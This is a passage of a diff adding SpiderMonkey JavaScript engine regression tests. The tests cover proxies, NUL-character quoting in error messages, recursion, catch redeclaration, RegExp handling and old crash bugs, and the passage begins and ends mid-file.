+var summary =
+ "Redefining an array's |length| property when redefining the |length| " +
+ "property on a proxy with an array as target";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+var p = new Proxy(arr, {});
+
+function assertThrowsTypeError(f)
+{
+ try {
+ f();
+ assertEq(false, true, "Must have thrown");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true, "Must have thrown TypeError");
+ }
+}
+
+// Redefining non-configurable length should throw a TypeError
+assertThrowsTypeError(function () { Object.defineProperty(p, "length", { value: 17, configurable: true }); });
+
+// Same here.
+assertThrowsTypeError(function () { Object.defineProperty(p, "length", { value: 42, enumerable: true }); });
+
+// Check the property went unchanged.
+var pd = Object.getOwnPropertyDescriptor(p, "length");
+assertEq(pd.value, 0);
+assertEq(pd.writable, true);
+assertEq(pd.enumerable, false);
+assertEq(pd.configurable, false);
+
+var ad = Object.getOwnPropertyDescriptor(arr, "length");
+assertEq(ad.value, 0);
+assertEq(ad.writable, true);
+assertEq(ad.enumerable, false);
+assertEq(ad.configurable, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/proxy-enumeration.js b/js/src/tests/non262/extensions/proxy-enumeration.js
new file mode 100644
index 0000000000..f872d635d8
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-enumeration.js
@@ -0,0 +1,4 @@
+var list = Object.getOwnPropertyNames(this);
+var found = list.indexOf("Proxy") != -1;
+assertEq(found, true)
+reportCompare(true, true)
diff --git a/js/src/tests/non262/extensions/proxy-proto-setter.js b/js/src/tests/non262/extensions/proxy-proto-setter.js
new file mode 100644
index 0000000000..37e620cd1c
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-proto-setter.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Blake Kaplan
+
+function expect(actual, arg) {
+ reportCompare(expect.expected, actual, arg);
+}
+
+var window = { set x(y) { expect(this, y) }, y: 4 };
+expect.expected = window;
+window.x = "setting through a setter directly";
+window.y = 5;
+reportCompare(5, window.y, "setting properties works");
+var easy = { easy: 'yes', __proto__: window }
+expect.expected = easy;
+easy.x = "setting through a setter all-native on prototype";
+easy.y = 6;
+reportCompare(5, window.y, "window.y remains as it was");
+reportCompare(6, easy.y, "shadowing works properly");
+
+var sandbox = evalcx('');
+sandbox.window = window;
+sandbox.print = print;
+sandbox.expect = expect;
+var hard = evalcx('Object.create(window)', sandbox);
+expect.expected = hard;
+hard.x = "a setter through proxy -> native";
+hard.y = 6;
+reportCompare(5, window.y, "window.y remains as it was through a proxy");
+reportCompare(6, hard.y, "shadowing works on proxies");
+
+hard.__proto__ = { 'passed': true }
+reportCompare(true, hard.passed, "can set proxy.__proto__ through a native");
+
+var inverse = evalcx('({ set x(y) { expect(this, y); }, y: 4 })', sandbox);
+expect.expected = inverse;
+inverse.x = "setting through a proxy directly";
+inverse.y = 5;
+reportCompare(5, inverse.y, "setting properties works on proxies");
+
+var inversehard = Object.create(inverse);
+expect.expected = inversehard;
+inversehard.x = "setting through a setter with a proxy on the proto chain";
+inversehard.y = 6;
+reportCompare(5, inverse.y, "inverse.y remains as it was");
+reportCompare(6, inversehard.y, "shadowing works native -> proxy");
+
+inversehard.__proto__ = { 'passed': true }
+reportCompare(true, inversehard.passed, "can set native.__proto__ through a proxy");
diff --git a/js/src/tests/non262/extensions/proxy-strict.js b/js/src/tests/non262/extensions/proxy-strict.js
new file mode 100644
index 0000000000..9dc9696853
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-strict.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var s = "grape";
+function f() { "use strict"; return this; }
+var p = new Proxy(f, {});
+String.prototype.p = p;
+assertEq(s.p(), "grape");
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/extensions/quote-string-for-nul-character.js b/js/src/tests/non262/extensions/quote-string-for-nul-character.js
new file mode 100644
index 0000000000..f893410ed6
--- /dev/null
+++ b/js/src/tests/non262/extensions/quote-string-for-nul-character.js
@@ -0,0 +1,94 @@
+// Ensure we properly quote strings which can contain the NUL character before
+// returning them to the user to avoid cutting off any trailing characters.
+
+function assertStringIncludes(actual, expected) {
+ assertEq(actual.includes(expected), true, `"${actual}" includes "${expected}"`);
+}
+
+function assertErrorMessageIncludes(fn, str) {
+ try {
+ fn();
+ } catch (e) {
+ assertStringIncludes(e.message, str);
+ return;
+ }
+ assertEq(true, false, "missing exception");
+}
+
+assertErrorMessageIncludes(() => "foo\0bar" in "asdf\0qwertz", "bar");
+assertErrorMessageIncludes(() => "foo\0bar" in "asdf\0qwertz", "qwertz");
+
+if (this.Intl) {
+ assertErrorMessageIncludes(() => Intl.getCanonicalLocales("de\0Latn"), "Latn");
+
+ assertErrorMessageIncludes(() => Intl.Collator.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {usage: "sort\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {caseFirst: "upper\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {sensitivity: "base\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.DateTimeFormat.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {hourCycle: "h24\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {weekday: "narrow\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {era: "narrow\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {year: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {month: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {day: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {hour: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {minute: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {second: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {formatMatcher: "basic\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {timeZone: "UTC\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.NumberFormat.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {style: "decimal\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {currency: "USD\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {currencyDisplay: "code\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.PluralRules.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.PluralRules("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.PluralRules("en", {type: "cardinal\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.RelativeTimeFormat.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat("en", {style: "long\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat("en", {numeric: "auto\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat().format(1, "day\0cookie"), "cookie");
+
+ assertErrorMessageIncludes(() => new Intl.Locale("de\0keks"), "keks");
+ assertErrorMessageIncludes(() => new Intl.Locale("de", {language: "it\0biscotto"}), "biscotto");
+ assertErrorMessageIncludes(() => new Intl.Locale("th", {script: "Thai\0คุกกี้"}), "\\u0E04\\u0E38\\u0E01\\u0E01\\u0E35\\u0E49");
+ assertErrorMessageIncludes(() => new Intl.Locale("en", {region: "GB\0biscuit"}), "biscuit");
+
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {calendar: "gregory\0F1"}), "F1");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {collation: "phonebk\0F2"}), "F2");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {hourCycle: "h24\0F3"}), "F3");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {caseFirst: "false\0F4"}), "F4");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {numberingSystem: "arab\0F5"}), "F5");
+}
+
+// Shell and helper functions.
+
+assertErrorMessageIncludes(() => assertEq(true, false, "foo\0bar"), "bar");
+
+if (this.disassemble) {
+ assertStringIncludes(disassemble(Function("var re = /foo\0bar/")), "bar");
+}
+
+if (this.getBacktrace) {
+ const k = "asdf\0asdf";
+ const o = {[k](a) { "use strict"; return getBacktrace({locals: true, args: true}); }};
+ const r = o[k].call("foo\0bar", "baz\0faz");
+ assertStringIncludes(r, "bar");
+ assertStringIncludes(r, "faz");
+}
+
+// js/src/tests/browser.js provides its own |options| function, make sure we don't test that one.
+if (this.options && typeof document === "undefined") {
+ assertErrorMessageIncludes(() => options("foo\0bar"), "bar");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/recursion.js b/js/src/tests/non262/extensions/recursion.js
new file mode 100644
index 0000000000..0869b90a6a
--- /dev/null
+++ b/js/src/tests/non262/extensions/recursion.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Christian Holler <decoder@own-hero.net>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 622167;
+var summary = 'Handle infinite recursion';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function eval() { eval(); }
+
+function DoWhile_3()
+{
+ eval();
+}
+
+try
+{
+ DoWhile_3();
+}
+catch(e) { }
+
+var r;
+function* f()
+{
+ r = arguments;
+ test();
+ yield 170;
+}
+
+function test()
+{
+ function foopy()
+ {
+ try
+ {
+ for (var i of f());
+ }
+ catch (e)
+ {
+ gc();
+ }
+ }
+ foopy();
+}
+test();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/redeclaration-of-catch-warning.js b/js/src/tests/non262/extensions/redeclaration-of-catch-warning.js
new file mode 100644
index 0000000000..efdfc0ef98
--- /dev/null
+++ b/js/src/tests/non262/extensions/redeclaration-of-catch-warning.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!xulRuntime.shell)
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 622646;
+var summary = "Shadowing an exception identifier in a catch block with a " +
+ "|const| or |let| declaration should throw an error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertRedeclarationErrorThrown(expression)
+{
+ "use strict";
+
+ try
+ {
+ evaluate(expression);
+ throw new Error("Redeclaration error wasn't thrown");
+ }
+ catch(e)
+ {
+ assertEq(e.message.indexOf("catch") > 0, true,
+ "wrong error, got " + e.message);
+ }
+}
+
+assertRedeclarationErrorThrown("try {} catch(e) { const e = undefined; }");
+assertRedeclarationErrorThrown("try {} catch(e) { let e; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js b/js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js
new file mode 100644
index 0000000000..0ec0b493e4
--- /dev/null
+++ b/js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs gc (newGlobal/evaluate are shimmed)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile =
+ "reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1253099;
+var summary =
+ "Don't assert when, in |new RegExp(pat)|, stringifying |pat| creates " +
+ "another RegExp and then performs a GC";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// The fresh global object is required to ensure that the outer |new RegExp|
+// is the first RegExp created in the global (other than RegExp.prototype).
+newGlobal().evaluate(`
+var createsRegExpAndCallsGCWhenStringified =
+ {
+ toString: function() {
+ new RegExp("a");
+ gc();
+ return "q";
+ }
+ };
+
+assertEq(new RegExp(createsRegExpAndCallsGCWhenStringified).source, "q");
+`);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/regress-103087.js b/js/src/tests/non262/extensions/regress-103087.js
new file mode 100644
index 0000000000..9a305827e0
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-103087.js
@@ -0,0 +1,141 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 04 October 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 103087:
+ * "The RegExp MarkupSPE in demo crashes Mozilla"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=103087
+ * The SpiderMonkey shell crashed on some of these regexps.
+ *
+ * The reported crash was on i=24 below ('MarkupSPE' regexp)
+ * I crashed on that, and also on i=43 ('XML_SPE' regexp)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 103087;
+var summary = "Testing that we don't crash on any of these regexps -";
+var re = '';
+var lm = '';
+var lc = '';
+var rc = '';
+
+
+// the regexps are built in pieces -
+var NameStrt = "[A-Za-z_:]|[^\\x00-\\x7F]";
+var NameChar = "[A-Za-z0-9_:.-]|[^\\x00-\\x7F]";
+var Name = "(" + NameStrt + ")(" + NameChar + ")*";
+var TextSE = "[^<]+";
+var UntilHyphen = "[^-]*-";
+var Until2Hyphens = UntilHyphen + "([^-]" + UntilHyphen + ")*-";
+var CommentCE = Until2Hyphens + ">?";
+var UntilRSBs = "[^]]*]([^]]+])*]+";
+var CDATA_CE = UntilRSBs + "([^]>]" + UntilRSBs + ")*>";
+var S = "[ \\n\\t\\r]+";
+var QuoteSE = '"[^"]' + "*" + '"' + "|'[^']*'";
+var DT_IdentSE = S + Name + "(" + S + "(" + Name + "|" + QuoteSE + "))*";
+var MarkupDeclCE = "([^]\"'><]+|" + QuoteSE + ")*>";
+var S1 = "[\\n\\r\\t ]";
+var UntilQMs = "[^?]*\\?+";
+var PI_Tail = "\\?>|" + S1 + UntilQMs + "([^>?]" + UntilQMs + ")*>";
+var DT_ItemSE = "<(!(--" + Until2Hyphens + ">|[^-]" + MarkupDeclCE + ")|\\?" + Name + "(" + PI_Tail + "))|%" + Name + ";|" + S;
+var DocTypeCE = DT_IdentSE + "(" + S + ")?(\\[(" + DT_ItemSE + ")*](" + S + ")?)?>?";
+var DeclCE = "--(" + CommentCE + ")?|\\[CDATA\\[(" + CDATA_CE + ")?|DOCTYPE(" + DocTypeCE + ")?";
+var PI_CE = Name + "(" + PI_Tail + ")?";
+var EndTagCE = Name + "(" + S + ")?>?";
+var AttValSE = '"[^<"]' + "*" + '"' + "|'[^<']*'";
+var ElemTagCE = Name + "(" + S + Name + "(" + S + ")?=(" + S + ")?(" + AttValSE + "))*(" + S + ")?/?>?";
+var MarkupSPE = "<(!(" + DeclCE + ")?|\\?(" + PI_CE + ")?|/(" + EndTagCE + ")?|(" + ElemTagCE + ")?)";
+var XML_SPE = TextSE + "|" + MarkupSPE;
+var CommentRE = "<!--" + Until2Hyphens + ">";
+var CommentSPE = "<!--(" + CommentCE + ")?";
+var PI_RE = "<\\?" + Name + "(" + PI_Tail + ")";
+var Erroneous_PI_SE = "<\\?[^?]*(\\?[^>]+)*\\?>";
+var PI_SPE = "<\\?(" + PI_CE + ")?";
+var CDATA_RE = "<!\\[CDATA\\[" + CDATA_CE;
+var CDATA_SPE = "<!\\[CDATA\\[(" + CDATA_CE + ")?";
+var ElemTagSE = "<(" + NameStrt + ")([^<>\"']+|" + AttValSE + ")*>";
+var ElemTagRE = "<" + Name + "(" + S + Name + "(" + S + ")?=(" + S + ")?(" + AttValSE + "))*(" + S + ")?/?>";
+var ElemTagSPE = "<" + ElemTagCE;
+var EndTagRE = "</" + Name + "(" + S + ")?>";
+var EndTagSPE = "</(" + EndTagCE + ")?";
+var DocTypeSPE = "<!DOCTYPE(" + DocTypeCE + ")?";
+var PERef_APE = "%(" + Name + ";?)?";
+var HexPart = "x([0-9a-fA-F]+;?)?";
+var NumPart = "#([0-9]+;?|" + HexPart + ")?";
+var CGRef_APE = "&(" + Name + ";?|" + NumPart + ")?";
+var Text_PE = CGRef_APE + "|[^&]+";
+var EntityValue_PE = CGRef_APE + "|" + PERef_APE + "|[^%&]+";
+
+
+var rePatterns = new Array(AttValSE, CDATA_CE, CDATA_RE, CDATA_SPE, CGRef_APE, CommentCE, CommentRE, CommentSPE, DT_IdentSE, DT_ItemSE, DeclCE, DocTypeCE, DocTypeSPE, ElemTagCE, ElemTagRE, ElemTagSE, ElemTagSPE, EndTagCE, EndTagRE, EndTagSPE, EntityValue_PE, Erroneous_PI_SE, HexPart, MarkupDeclCE, MarkupSPE, Name, NameChar, NameStrt, NumPart, PERef_APE, PI_CE, PI_RE, PI_SPE, PI_Tail, QuoteSE, S, S1, TextSE, Text_PE, Until2Hyphens, UntilHyphen, UntilQMs, UntilRSBs, XML_SPE);
+
+
+// here's a big string to test the regexps on -
+var str = '';
+str += '<html xmlns="http://www.w3.org/1999/xhtml"' + '\n';
+str += ' xmlns:xlink="http://www.w3.org/XML/XLink/0.9">' + '\n';
+str += ' <head><title>Three Namespaces</title></head>' + '\n';
+str += ' <body>' + '\n';
+str += ' <h1 align="center">An Ellipse and a Rectangle</h1>' + '\n';
+str += ' <svg xmlns="http://www.w3.org/Graphics/SVG/SVG-19991203.dtd" ' + '\n';
+str += ' width="12cm" height="10cm">' + '\n';
+str += ' <ellipse rx="110" ry="130" />' + '\n';
+str += ' <rect x="4cm" y="1cm" width="3cm" height="6cm" />' + '\n';
+str += ' </svg>' + '\n';
+str += ' <p xlink:type="simple" xlink:href="ellipses.html">' + '\n';
+str += ' More about ellipses' + '\n';
+str += ' </p>' + '\n';
+str += ' <p xlink:type="simple" xlink:href="rectangles.html">' + '\n';
+str += ' More about rectangles' + '\n';
+str += ' </p>' + '\n';
+str += ' <hr/>' + '\n';
+str += ' <p>Last Modified February 13, 2000</p> ' + '\n';
+str += ' </body>' + '\n';
+str += '</html>';
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<rePatterns.length; i++)
+ {
+ status = inSection(i);
+ re = new RegExp(rePatterns[i]);
+
+ // Test that we don't crash on any of these -
+ re.exec(str);
+ getResults();
+
+ // Just for the heck of it, test the current leftContext
+ re.exec(lc);
+ getResults();
+
+ // Test the current rightContext
+ re.exec(rc);
+ getResults();
+ }
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+function getResults()
+{
+ lm = RegExp.lastMatch;
+ lc = RegExp.leftContext;
+ rc = RegExp.rightContext;
+}
diff --git a/js/src/tests/non262/extensions/regress-104077.js b/js/src/tests/non262/extensions/regress-104077.js
new file mode 100644
index 0000000000..189f0ce903
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-104077.js
@@ -0,0 +1,195 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 October 2001
+ * SUMMARY: Regression test for Bugzilla bug 104077
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077
+ * "JS crash: with/finally/return"
+ *
+ * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ * "JS crash: try/catch/continue."
+ *
+ * SpiderMonkey crashed on this code - it shouldn't.
+ *
+ * NOTE: the finally-blocks below should execute even if their try-blocks
+ * have return or throw statements in them:
+ *
+ * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 -------
+ * finally trumps return, and all other control-flow constructs that cause
+ * program execution to jump out of the try block: throw, break, etc. Once you
+ * enter a try block, you will execute the finally block after leaving the try,
+ * regardless of what happens to make you leave the try.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104077;
+var summary = "Just testing that we don't crash on with/finally/return -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function addValues_3(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum +=1;
+ print("In finally block of addValues_3() function: sum = " + sum);
+ }
+ catch (e) {
+ if (e != 42)
+ throw e;
+ sum +=1;
+ print('In finally catch block of addValues_3() function: sum = ' + sum + ', e = ' + e);
+ }
+ finally
+ {
+ sum +=1;
+ print("In finally finally block of addValues_3() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(9);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_3(obj);
+expect = 8;
+captureThis();
+
+
+
+
+function addValues_4(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum += 1;
+ print("In finally block of addValues_4() function: sum = " + sum);
+ }
+ catch (e) {
+ if (e == 42) {
+ sum += 1;
+ print("In 1st finally catch block of addValues_4() function: sum = " + sum + ", e = " + e);
+ } else if (e == 43) {
+ sum += 1;
+ print("In 2nd finally catch block of addValues_4() function: sum = " + sum + ", e = " + e);
+ } else {
+ throw e;
+ }
+ }
+ finally
+ {
+ sum += 1;
+ print("In finally finally block of addValues_4() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(10);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_4(obj);
+expect = 8;
+captureThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-178722.js b/js/src/tests/non262/extensions/regress-178722.js
new file mode 100644
index 0000000000..9ec73d3d15
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-178722.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 November 2002
+ * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722
+ *
+ * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn)
+ *
+ * 1. Call the [[Get]] method of this object with argument "length".
+ * 2. Call ToUint32(Result(1)).
+ * 3. Perform an implementation-dependent sequence of calls to the [[Get]],
+ * [[Put]], and [[Delete]] methods of this object, etc. etc.
+ * 4. Return this object.
+ *
+ *
+ * Note that sort() is done in-place on |arr|. In other words, sort() is a
+ * "destructive" method rather than a "functional" method. The return value
+ * of |arr.sort()| and |arr| are the same object.
+ *
+ * If |arr| is an empty array, the return value of |arr.sort()| should be
+ * an empty array, not the value |undefined| as was occurring in bug 178722.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 178722;
+var summary = 'arr.sort() should not output |undefined| when |arr| is empty';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr;
+
+
+// create empty array or pseudo-array objects in various ways
+function f () {return arguments};
+var arr5 = f();
+arr5.__proto__ = Array.prototype;
+
+
+status = inSection(5);
+arr = arr5.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr5;
+expect = true;
+addThis();
+
+
+// now do the same thing, with non-default sorting:
+function g() {return 1;}
+
+status = inSection('5a');
+arr = arr5.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr5;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-188206-01.js b/js/src/tests/non262/extensions/regress-188206-01.js
new file mode 100644
index 0000000000..c54390709b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-188206-01.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Now do some weird things on the left side of the regexps -
+ */
+status = inSection(7);
+testThis(' /*a/ ');
+
+status = inSection(8);
+testThis(' /**a/ ');
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-188206-02.js b/js/src/tests/non262/extensions/regress-188206-02.js
new file mode 100644
index 0000000000..4cf9dd7b30
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-188206-02.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
